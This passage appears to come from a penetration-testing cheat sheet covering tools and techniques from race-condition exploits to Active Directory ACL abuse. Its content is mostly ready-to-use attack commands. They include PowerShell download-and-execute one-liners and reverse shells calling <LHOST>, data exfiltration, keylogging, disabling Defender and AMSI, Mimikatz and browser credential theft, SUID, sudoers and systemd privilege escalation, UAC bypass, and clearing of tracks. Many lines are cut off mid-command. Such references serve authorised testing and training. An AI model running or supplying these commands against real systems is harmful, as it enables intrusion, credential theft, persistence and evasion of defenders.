$ python3 getnthash.py <DOMAIN>/<USERNAME> -key 6617cde50b7ee63faeb6790e
```

plotting

Exploit race condition on linux by swapping file paths between 2 files very quickly (normal file, symlink to root owned file, swap, swap ,swap).

```
#define _GNU_SOURCE
#include <stdio.h>
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/fs.h>

int main(int argc, char *argv[]) {
  while (1) {
    syscall(SYS_renameat2, AT_FDCWD, argv[1], AT_FDCWD, argv[2], RENAME_
  }
  return 0;
}
```

Port Scanning

On a Linux Operating System

```
$ nc -zv 127.0.0.1 1-65535 | grep succeeded
```

```
$ for port in {1..65535}; do echo > /dev/tcp/<RHOST>/$port && echo "$por
```

On a Windows Operating System

```
PS C:\> 1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect("
```

PoshADCS

> https://github.com/cfalta/PoshADCS/blob/master/ADCS.ps1

```
PS C:\> curl http://<LHOST>/ADCS.ps1 | iex
PS C:\> Get-SmartCardCertificate -Identity Administrator -TemplateName W
PS C:\> gci cert:\currentuser\my -recurse
```

powercat

> https://github.com/besimorhino/powercat

```
PS C:\> powershell -c "IEX(New-Object System.Net.WebClient).DownloadStri
```

File Transfer

```
$ impacket-smbserver local . -smb2support
```

```
PS C:\> Import-Module .\powercat.ps1
PS C:\> powercat -c <LHOST> -p 445 -i C:\PATH\TO\FILE\<FILE>
```

Powermad

```
PS C:\> Import-Module .\Powermad.ps1
PS C:\> $secureString = convertto-securestring "<PASSWORD>" -asplaintext
PS C:\> New-MachineAccount -MachineAccount <NAME> -Domain <DOMAIN> -Doma
```

PowerShell

> https://redteamrecipe.com/powershell-tips-tricks/?s=09

Enumerating System Information

```
PS C:\> Get-WmiObject -Class Win32_OperatingSystem | Select-Object -Prop
```

Extracting Network Configuration

```
PS C:\> Get-NetIPConfiguration | Select-Object -Property InterfaceAlias,
```

Listing Running Processes with Details

```
PS C:\> Get-Process | Select-Object -Property ProcessName, Id, CPU | Sor
```

Accessing Event Logs for Anomalies

```
PS C:\> Get-EventLog -LogName Security | Where-Object {$_.EntryType -eq
```

Scanning for Open Ports

```
PS C:\> 1..1024 | ForEach-Object { $sock = New-Object System.Net.Sockets
```

Retrieving Stored Credentials

```
PS C:\> $cred = Get-Credential; $cred.GetNetworkCredential() | Select-Ob
```

Executing Remote Commands

```
PS C:\> Invoke-Command -ComputerName TargetPC -ScriptBlock { Get-Process
```

Downloading and Executing Scripts from URL

```
PS C:\> $url = 'http://<LHOST>/<FILE>.ps1'; Invoke-Expression (New-Objec
```

Bypassing Execution Policy for Script Execution

```
PS C:\> Set-ExecutionPolicy Bypass -Scope Process -Force; .\<FILE>.ps1
```

Enumerating Domain Users

```
PS C:\> Get-ADUser -Filter * -Properties * | Select-Object -Property Nam
```

Capturing Keystrokes

```
PS C:\> $path = 'C:\<FILE>.txt'; Add-Type -AssemblyName System.Windows.F
```

Extracting Wi-Fi Profiles and Passwords

```
PS C:\> netsh wlan show profiles | Select-String -Pattern 'All User Prof
```

Monitoring File System Changes

```
PS C:\> $watcher = New-Object System.IO.FileSystemWatcher; $watcher.Path
```

Creating Reverse Shell

```
PS C:\> $client = New-Object System.Net.Sockets.TCPClient('<LHOST>', <LP
```

Disabling Windows Defender

```
PS C:\> Set-MpPreference -DisableRealtimeMonitoring $true
```

Extracting Browser Saved Passwords

```
PS C:\> Invoke-WebBrowserPasswordDump | Out-File -FilePath C:\<FILE>.txt
```

Conducting Network Sniffing

```
PS C:\> $adapter = Get-NetAdapter | Select-Object -First 1; New-NetEvent
```

Bypassing AMSI (Anti-Malware Scan Interface)

```
PS C:\> [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
```

Extracting System Secrets with Mimikatz

```
PS C:\> Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' | Out-File
```

String Obfuscation

```
PS C:\> $originalString = 'SensitiveCommand'; $obfuscatedString = [Conve
```

Command Aliasing

```
PS C:\> $alias = 'Get-Dir'; Set-Alias -Name $alias -Value Get-ChildItem;
```

Variable Name Obfuscation

```
PS C:\> $o = 'Get'; $b = 'Process'; $cmd = $o + '-' + $b; Invoke-Express
```

File Path Obfuscation

```
PS C:\> $path = [System.Text.Encoding]::UTF8.GetString([System.Convert]:
```

Using Alternate Data Streams for Evasion

```
PS C:\> $content = 'Invoke-Mimikatz'; $file = 'C:\<FILE>.txt'; $stream =
```

Bypassing Script Execution Policy

```
PS C:\> $policy = Get-ExecutionPolicy; Set-ExecutionPolicy -ExecutionPol
```

In-Memory Script Execution

```
PS C:\> $code = [System.IO.File]::ReadAllText('C:\<FILE>.ps1'); Invoke-E
```

Dynamic Invocation with Reflection

```
PS C:\> $assembly = [Reflection.Assembly]::LoadWithPartialName('System.M
```

Encoded Command Execution

```
PS C:\> $encodedCmd = [Convert]::ToBase64String([System.Text.Encoding]::
```

Utilizing PowerShell Runspaces for Evasion

```
PS C:\> $runspace = [runspacefactory]::CreateRunspace(); $runspace.Open(
```

Environment Variable Obfuscation

```
PS C:\> $env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariab
```

Function Renaming for Evasion

```
PS C:\> Function MyGetProc { Get-Process }; MyGetProc
```

Using PowerShell Classes for Code Hiding

```
PS C:\> class HiddenCode { [string] Run() { return 'Hidden command execu
```

Registry Key Usage for Persistence

```
PS C:\> $path = 'HKCU:\Software\<FILE>'; New-Item -Path $path -Force; Ne
```

Out-Of-Band Data Exfiltration

```
PS C:\> $data = Get-Process | ConvertTo-Json; Invoke-RestMethod -Uri 'ht
```

Using PowerShell to Access WMI for Stealth

```
PS C:\> $query = 'SELECT * FROM Win32_Process'; Get-WmiObject -Query $qu
```

Scheduled Task for Persistence

```
PS C:\> $action = New-ScheduledTaskAction -Execute 'Powershell.exe' -Arg
```

Using PowerShell to Interact with the Network Quietly

```
PS C:\> $client = New-Object Net.Sockets.TcpClient('<LHOST>', 443); $str
```

Base64 Encoding for Command Obfuscation

```
PS C:\> $command = 'Get-Process'; $encodedCommand = [Convert]::ToBase64S
```

Utilizing PowerShell Add-Type for Code Execution

```
PS C:\> Add-Type -TypeDefinition 'using System; public class <CLASS> { p
```

Extracting Credentials from Windows Credential Manager

```
PS C:\> $credman = New-Object -TypeName PSCredentialManager.Credential;
```

Retrieving Passwords from Unsecured Files

```
PS C:\> Select-String -Path C:\Users\*\Documents\*.txt -Pattern 'passwor
```

Dumping Credentials from Windows Services

```
PS C:\> Get-WmiObject win32_service | Where-Object {$_.StartName -like '
```

Extracting Saved RDP Credentials

```
PS C:\> cmdkey /list | Select-String 'Target: TERMSRV' | ForEach-Object
```

Retrieving Browser Cookies for Credential Theft

```
PS C:\> $env:USERPROFILE + '\AppData\Local\Google\Chrome\User Data\Defau
```

Extracting Credentials from IIS Application Pools

```
PS C:\> Import-Module WebAdministration; Get-IISAppPool | Select-Object
```

Reading Credentials from Configuration Files

```
PS C:\> Get-ChildItem -Path C:\ -Include *.config -Recurse | Select-Stri
```

Dumping Credentials from Scheduled Tasks

```
PS C:\> Get-ScheduledTask | Where-Object {$_.Principal.UserId -notlike '
```

Extracting SSH Keys from User Directories

```
PS C:\> Get-ChildItem -Path C:\Users\*\.ssh\id_rsa -Recurse
```

Retrieving Credentials from Database Connection Strings

```
PS C:\> Select-String -Path C:\inetpub\wwwroot\*.config -Pattern 'connec
```

Simple PowerShell Reverse Shell

```
PS C:\> $client = New-Object System.Net.Sockets.TCPClient('<LHOST>', <LP
```

HTTP-Based PowerShell Reverse Shell

```
PS C:\> while($true) { try { $client = New-Object System.Net.Sockets.TCP
```

WebSocket-Based PowerShell Reverse Shell

```
PS C:\> $ClientWebSocket = New-Object System.Net.WebSockets.ClientWebSoc
```

DNS-Based PowerShell Reverse Shell

```
PS C:\> function Invoke-DNSReverseShell { param([string]$<LHOST>, [int]$
```

Encrypted PowerShell Reverse Shell

```
PS C:\> $ErrorActionPreference = 'SilentlyContinue'; $client = New-Objec
```

Invoke Windows API for Keylogging

```
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.I
```

Accessing Physical Memory with Windows API

```
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.I
```

Using Windows API for Screen Capturing

```
PS C:\> Add-Type -TypeDefinition @" using System; using System.Drawing;
```

Manipulating Windows Services via API

```
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.I
```

Windows API for Clipboard Access

```
PS C:\> Add-Type -TypeDefinition @" using System; using System.Runtime.I
```

Finding Writable and Executable Memory

```
PS C:\> $proc = Get-NtProcess -ProcessId $pid -Access QueryLimitedInform
```

Finding Shared Section Handles

```
PS C:\> $ss = Get-NtHandle -ObjectType Section -GroupByAddress | Where-O
```

Modifying a Mapped Section

```
PS C:\> $sect = $handle.GetObject() $map = Add-NtSection -Section $sect
```

Process Creation and Command Line Parsing

```
PS C:\> $proc = New-Win32Process -CommandLine "notepad <FILE>.txt"
```

Security Implications of Command Line Parsing

```
PS C:\> $proc = New-Win32Process -CommandLine "notepad <FILE>.txt" -Appl
```

Using Shell APIs for Non-Executable Files

```
PS C:\> Start-Process "<FILE>.txt" -Verb "print"
```

Querying Service Status with PowerShell

```
PS C:\> Get-Win32Service
```

Finding Executables That Import Specific APIs

```
PS C:\> $imps = ls "$env:WinDir\*.exe" | ForEach-Object { Get-Win32Modul
```

Finding Hidden Registry Keys or Values

```
PS C:\> ls NtKeyUser:\SOFTWARE -Recurse | Where-Object Name -Match "`0"
PS C:\> Get-NtTokenPrivilege $token
```

forfiles

```
PS C:\> forfiles /p C:\Windows\System32 /m notepad.exe /c calc.exe
```

PowerShell Module Loading

> https://github.com/Unit-259/powerGallery

```
$module = 'PsAES'
$mod = "https://www.powershellgallery.com/packages/$module"
$content = Invoke-RestMethod -Uri $mod
$regex = '<a\s+[^>]*href="([^"]+\.ps1)"[^>]*>'
$matches = [regex]::Matches($content, $regex)
$baseURL = "https://www.powershellgallery.com"
foreach ($match in $matches) {
$relativeLink = $match.Groups[1].Value
```

```
$fullLink = $baseURL + $relativeLink
([regex]::Matches((irm "$fullLink"), '(?<=<td class="fileContent .*?">).
```

Cleanup

Empty Temp Folder

```
PS C:\> Remove-Item $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
```

Delete Run Box History

```
PS C:\> reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentV
```

Delete PowerShell History

```
PS C:\> Remove-Item (Get-PSreadlineOption).HistorySavePath -ErrorAction
```

Empty Recycle Bin

```
PS C:\> Clear-RecycleBin -Force -ErrorAction SilentlyContinue
```

PowerShell Constrained Language Mode (CLM)

```
PS C:\> Get-ApplockerPolicy -Effective -xml
PS C:\> Get-AppLockerPolicy -Effective | select -ExpandProperty RuleColl
```

Bypass Test

```
PS C:\> $a = Get-ApplockerPolicy -effective
PS C:\> $a.rulecollections
```

Bypass

```
PS C:\> $ExecutionContext.SessionState.LanguageMode
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://<RHOST>/<FI
```

```
PS C:\> powershell -version 2
```

Example

```
PS C:\> IEX(New-Object Net.WebClient).DownloadString('http://<RHOST>/Inv
```

Execute Code in another User Context

```
PS C:\> $SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText
```

Decrypt Encrypted Credentials XML for PowerShell

Manual Steps

```
PS C:\> [xml]$xmlContent = Get-Content -Path "C:\PATH\TO\FILE\Credential
PS C:\> $encryptedPassword = $xmlContent.Objs.Obj.Props.SS.'#text'
PS C:\> $securePassword = $encryptedPassword | ConvertTo-SecureString
PS C:\> $username = $xmlContent.Objs.Obj.Props.S.'#text'
```

```
PS C:\> $credential = New-Object System.Management.Automation.PSCredenti
PS C:\> $BSTR = [System.Runtime.InteropServices.Marshal]::SecureStringTo
PS C:\> $plainPassword = [System.Runtime.InteropServices.Marshal]::PtrTo
PS C:\> Write-Output $plainPassword
```

One-Liner

```
PS C:\> $cred = Import-CliXml -Path Credentials.xml; $cred.GetNetworkCre
```

PowerSploit

> https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1

Import

```
PS C:\> Import-Module .\PowerView.ps1
```

or

```
PS C:\> iex(new-object net.webclient).downloadstring('http://<LHOST>/Pow
```

Set Credentials

```
PS C:\> $SecPass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -For
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<D
```

Example

```
PS C:\> Get-DomainUser -Credential $cred -DomainController dc.<DOMAIN>
```

PowerView

> https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1

```
PS C:\> curl http://<LHOST>/PowerView.ps1 | iex
```

DCSync

```
PS C:\> powershell -ep bypass
PS C:\> . .\PowerView.ps1
PS C:\> $pass = ConvertTo-SecureString '<PASSWORD>' -AsPlainText -Force
PS C:\> $cred = New-Object System.Management.Automation.PSCredential('<D
PS C:\> Add-DomainObjectAcl -Credential $cred -TargetIdentity "DC=<DOMAI
```

Pre-created Computer Accounts

> https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/

```
$ changepasswd.py -protocol rpc-samr -newpass <PASSWORD> '<DOMAIN>/<USER
```

PRET

> https://github.com/RUB-NDS/PRET

```
$ ./pret.py
$ ./pret.py <RHOST> ps    // pjl
```

```
<RHOST>:/> ls
<RHOST>:/> cd
<RHOST>:/> get
<RHOST>:/> nvram dump
```

PrivescCheck

> https://github.com/itm4n/PrivescCheck

```
PS C:\> . .\PrivescCheck.ps1; Invoke-PrivescCheck
```

procdump

```
PS C:\> .\procdump64.exe -accepteula -ma <PID>
PS C:\> type <FILE>.dmp | Select-String "username="
```

PsExec

```
PS C:\> .\psexec.exe -accepteula -hashes :<HASH> administrator@127.0.0.1
```

pspy

> https://github.com/DominicBreuker/pspy

```
$ pspy64 -f
$ pspy64 -pf -i 1000
```

pth-toolkit

> https://github.com/byt3bl33d3r/pth-toolkit

```
$ pth-net rpc group addmem "<GROUP>" <USERNAME> -U <DOMAIN>/<USERNAME> -
$ pth-net rpc password --pw-nt-hash <USERNAME> -U <DOMAIN>/<COMPUTERNAME
$ pth-smbclient --user=<USERNAME> --pw-nt-hash -m smb3 \\\\<RHOST>\\<USE
```

pwncat

> https://github.com/calebstewart/pwncat

> https://pwncat.readthedocs.io/en/latest/usage.html

Common Commands

```
(local) pwncat$ back    // get back to shell
Ctrl+d                  // get back to pwncat shell
```

```
$ pwncat-cs -lp <LPORT>
(local) pwncat$ download /PATH/TO/FILE/<FILE> .
(local) pwncat$ upload /PATH/TO/FILE/<FILE> /PATH/TO/FILE/<FILE>
```

pyGPOAbuse

> https://github.com/Hackndo/pyGPOAbuse

```
$ python3 pygpoabuse.py <DOMAIN>/<USERNAME> -hashes :<HASH> -gpo-id "<GP
```

Python

System Shell

```
$ python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
```

Python Library Hijacking

> https://rastating.github.io/privilege-escalation-via-python-library-hijacking/

> https://medium.com/@klockw3rk/privilege-escalation-hijacking-python-library-2a0e92a45ca7

Get the current Path

```
$ python3 -c 'import sys;print(sys.path)'
```

remoteshell.py

```
import os
os.system("nc -lnvp <LPORT> -e /bin/bash")
```

Include Path

```
$ sudo -E PYTHONPATH=$(pwd) /opt/scripts/admin_tasks.sh 6
```

rbash

Restricted Bash (rbash) Breakouts

Environment Enumeration

```
$ export -p
$ env
$ echo $0
$ echo $PATH
```

Checking $PATH Variable

```
$ ls /home/<USERNAME>/usr/bin
$ echo /home/<USERNAME>/usr/bin/*
```

Breakout using $PATH Variable

```
$ export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/s
```

Breakout using GTFObins

- less
- ls

- scp
- vi

Examples using less

```
$ less /etc/profile
!/bin/sh
```

```
$ VISUAL="/bin/sh -c '/bin/sh'" less /etc/profile
v
```

```
$ less /etc/profile
v:shell
```

Example using scp

```
$ TF=$(mktemp)
$ echo 'sh 0<&2 1>&2' > $TF
$ chmod +x "$TF"
$ scp -S $TF x y:
```

Examples using vi

```
$ vi -c ':!/bin/sh' /dev/null
```

```
$ vi
:set shell=/bin/sh
:shell
```

Breackout using SSH Command Execution

```
$ ssh <USERNAME>@<RHOST> -t sh
$ ssh <USERNAME>@<RHOST> -t /bin/sh
$ ssh <USERNAME>@<RHOST> -t "/bin/bash --no-profile"
```

relayd

Prerequisites

The binary need to have the `SUID` bit set.

```
$ /usr/sbin/relayd -C /etc/shadow
[ERR] 2023-09-27 14:18:13 config.cpp:1539 write
[ERR] 2023-09-27 14:18:13 config.cpp:1213 open failed [/usr/etc/relayd/m
[ERR] 2023-09-27 14:18:13 config.cpp:1189 bad json format [/etc/shadow]
[ERR] 2023-09-27 14:18:13 invalid config file
```

rpcclient

LDAP

```
$ rpcclient -U "" <RHOST>
```

Queries

```
dsr_getdcname
dsr_getdcnameex
```

```
dsr_getdcnameex2
dsr_getsitename
enumdata
enumdomgroups
enumdomusers
enumjobs
enumports
enumprivs
getanydcname
getdcname
lookupsids
lsaenumsid <SID>
lsaquery
netconnenum
netdiskenum
netfileenum
netsessenum
netshareenum
netshareenumall
netsharegetinfo
queryuser <USERNAME>
srvinfo
```

Rubeus

> https://github.com/GhostPack/Rubeus

Request a Delegation Ticket

```
PS C:\> .\Rubeus.exe tgtdeleg /nowrap
```

Overpass the Hash

```
PS C:\> .\Rubeus.exe kerberoast /user:<USERNAME>
```

Pass the Hash

```
PS C:\> .\Rubeus.exe asktgt /user:Administrator /certificate:7F052EB0D5D
```

RubeusToCcache

> https://github.com/SolomonSklash/RubeusToCcache

```
$ python3 rubeustoccache.py '<TICKET>' <USERNAME>.kirbi <USERNAME>.ccach
```

.NET Reflection

Example

```
$ base64 Rubeus.exe -w0 > <FILE>.txt
```

```
PS C:\> $RubeusAssembly = [System.Reflection.Assembly]::Load([Convert]::
```

```
PS C:\> [Rubeus.Program]::MainString("kerberoast /creduser:<DOMAIN>\<USE
```

RunasCs

> https://github.com/antonioCoco/RunasCs

```
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT>
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> powershell -r <LHOST>:<LPORT
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> cmd.exe -r <LHOST>:<LPORT> -
PS C:\> .\RunasCs.exe <USERNAME> <PASSWORD> powershell -r <LHOST>:<LPORT
PS C:\> .\RunasCs.exe -d <DOMAIN> "<USERNAME>" '<PASSWORD>' cmd.exe -r <
PS C:\> .\RunasCs.exe -l 3 -d <DOMAIN> "<USERNAME>" '<PASSWORD>' 'C:\Use
```

setcap

```
$ setcap cap_setgid,cap_setuid+eip <FILE>
```

SetOpLock

> https://github.com/googleprojectzero/symboliclink-testing-tools

```
C:\> SetOpLock.exe "C:\Program Files\PDF24\faxPrnInst.log" r
```

Shared Library Misconfiguration

> https://tbhaxor.com/exploiting-shared-library-misconfigurations/

shell.c

```
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -i");
}
```

Compiling

```
$ gcc -shared -fPIC -nostartfiles -o <FILE>.so <FILE>.c
```

SharpDPAPI

```
PS C:\> .\SharpDPAPI.exe triage
PS C:\> .\SharpDPAPI.exe masterkeys /rpc
```

SharpHound

> https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe

```
PS C:\> .\SharpHound.exe -c All
PS C:\> .\SharpHound.exe --CollectionMethod All
```

SharpStartWebClient

> https://github.com/eversinc33/SharpStartWebclient

Enable WebDAV

```
PS C:\> .\SharpStartWebClient.exe
```

Test WebDAV

```
$ netexec smb <RHOST> -u '<USERNAME>' -p '<PASSWORD>' -M webdav
```

Example Output

```
WebClient Service enabled on: <RHOST>
```

Sherlock

> https://github.com/rasta-mouse/Sherlock

Config

Add `Find-AllVulns` at the end of the script to run it as soon as it get's loaded.

```
            10586 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable
            14393 { $VulnStatus = @("Not Vulnerable","Appears Vulnerable
            default { $VulnStatus = "Not Vulnerable" }

        }

    Set-ExploitTable $MSBulletin $VulnStatus

}
Find-AllVulns

$ IEX(New-Object Net.webclient).downloadString('http://<LHOST>/Sherlock.
```

smbpasswd

```
$ smbpasswd -U <RHOST>\<USERNAME> -r <RHOST>
```

Stabilizing Reverse Shells

```
$ python -c 'import pty;pty.spawn("/bin/bash")'
```

or

```
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
```

```
$ Ctrl + z
$ stty raw -echo
fg
Enter
Enter
$ export XTERM=xterm
```

Alternatively:

```
$ script -q /dev/null -c bash
$ /usr/bin/script -qc /bin/bash /dev/null
```

Oneliner

```
$ stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; st
```

Fixing Staircase Effect

```
$ env reset
```

or

```
$ stty onlcr
```

systemctl

Malicious Service Privilege Escalation

Payload

```
[Unit]
Description=Example Service

[Service]
Type=simple
ExecStart=chmod +s /bin/bash
Restart=always

[Install]
WantedBy=multi-user.target
```

Installation

```
$ echo '[Unit]
Description=Example Service

[Service]
Type=simple
ExecStart=chmod +s /bin/bash
Restart=always

[Install]
WantedBy=multi-user.target' > /etc/systemd/system/<SERVICE>.service
```

Execution

```
$ sudo systemctl restart <SERVICE>
```

Time Stomping

```
$dateTime = New-Object System.DateTime(1999,12,26)
$regKey = [Microsoft.Win32.Registry]::LocalMachine.OpenSubKey("SYSTEM\Cu
```

Universal Privilege Escalation and Persistence Printer

```
$printerName     = 'Pentest Lab Printer'
$system32        = $env:systemroot + '\system32'
$drivers         = $system32 + '\spool\drivers'
$RegStartPrinter = 'Registry::HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wind
```

```
Copy-Item -Force -Path ($system32 + '\mscms.dll')             -Destinati
Copy-Item -Force -Path '.\mimikatz_trunk\x64\mimispool.dll'   -Destinati
Copy-Item -Force -Path '.\mimikatz_trunk\win32\mimispool.dll' -Destinati
```

```
Add-PrinterDriver -Name       'Generic / Text Only'
Add-Printer       -DriverName 'Generic / Text Only' -Name $printerName -
```

```
New-Item         -Path ($RegStartPrinter + '\CopyFiles')        | Out-Nu
```

```
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   | Out-Nu
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'D
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'F
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Kiwi')   -Name 'M
```

```
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Litchi') | Out-Nu
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'D
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'F
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Litchi') -Name 'M
```

```
New-Item         -Path ($RegStartPrinter + '\CopyFiles\Mango')  | Out-Nu
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'D
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'F
New-ItemProperty -Path ($RegStartPrinter + '\CopyFiles\Mango')  -Name 'M
```

User Account Control (UAC) Bypass

With UI available

```
PS C:\> Start-Process powershell -Verb runAs
PS C:\> Start-Process powershell -Verb runAs /user:<USERNAME> cmd.exe
```

Using fodhelper.exe

> https://github.com/nobodyatall648/UAC_Bypass

```
PS C:\> New-Item "HKCU:\Software\Classes\ms-settings\Shell\Open\command"
```

```
PS C:\> New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell
```

```
PS C:\> Start-Process "C:\Windows\System32\fodhelper.exe"
```

User Group Exploitation

> https://wixnic.github.io/linux-privesc-groups/

> https://www.hackingarticles.in/multiple-ways-to-get-root-through-writable-file/

Possibilities

```
- Edit /etc/passwd    // copy it to /tmp to edit
- Add new SSH Key to /root/
```

Find modifyable Files

```
$ find / -group root -perm -g=w ! -type l 2>/dev/null | grep -v 'proc\|s
```

Option 1

```
#!/usr/bin/env python
import os
import sys
try:
       os.system('cp /bin/sh /tmp/sh')
       os.system('chmod u+s /tmp/sh')
except:
       sys.exit()
```

Option 2

```
#!/usr/bin/env python
import os
import sys
try:
       os.system('echo "$USER ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')
except:
       sys.exit()
```

VSS

> https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-serveroperators

Abusing Server Operator Group Membership to get a Reverse Shell

```
$ sc.exe config vss binPath="C:\Users\svc-printer\Documents\nc.exe -e cm
$ sc.exe stop vss
$ sc.exe start vss
```

WDigest

Store Cleartext Credentials Cleartext in LSASS

```
PS C:\> Set-ItemProperty -Force -Path 'HKLM:\SYSTEM\CurrentControlSet\Co
```

Whisker

```
C:\> .\Whisker.exe add /target:<USERNAME>
```

Windows-Exploit-Suggester

> https://github.com/AonCyberLabs/Windows-Exploit-Suggester

Prerequisites

```
$ python -m pip install xlrd
```

Update

```
$ ./windows-exploit-suggester.py --update
```

Usage

```
$ ./windows-exploit-suggester.py --database 2020-07-15-mssb.xls --system
```

winexe

```
$ winexe -U '<USERNAME%PASSWORD>' //<RHOST> cmd.exe
$ winexe -U '<USERNAME%PASSWORD>' --system //<RHOST> cmd.exe
```

World Writeable Directories

> https://gist.github.com/mattifestation/5f9de750470c9e0e1f9c9c33f0ec3e56

```
C:\Windows\debug\wia
C:\Windows\Registration\CRMLog
C:\Windows\System32\Com\dmp
C:\Windows\System32\fxstmp
C:\Windows\System32\Microsoft\Crypto\rsa\machinekeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\PRINTERS
C:\Windows\System32\spool\SERVERS
C:\Windows\System32\Tasks
C:\Windows\System32\Tasks_Migrated\Microsoft\Windows\PLA\System
C:\Windows\SysWOW64\Com\dmp
C:\Windows\SysWOW64\fxstmp
C:\Windows\SysWOW64\Tasks
C:\Windows\SysWOW64\Tasks\microsoft\Windows\PLA\System
C:\Windows\Tasks
C:\Windows\Temp
C:\Windows\tracing
```

writeDACL

> https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/

Usage

```
PS C:\> $SecPassword = ConvertTo-SecureString '<PASSWORD>' -AsPlainText
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('<D
PS C:\> Add-ObjectACL -PrincipalIdentity <USERNAME> -Credential $Cred -R
```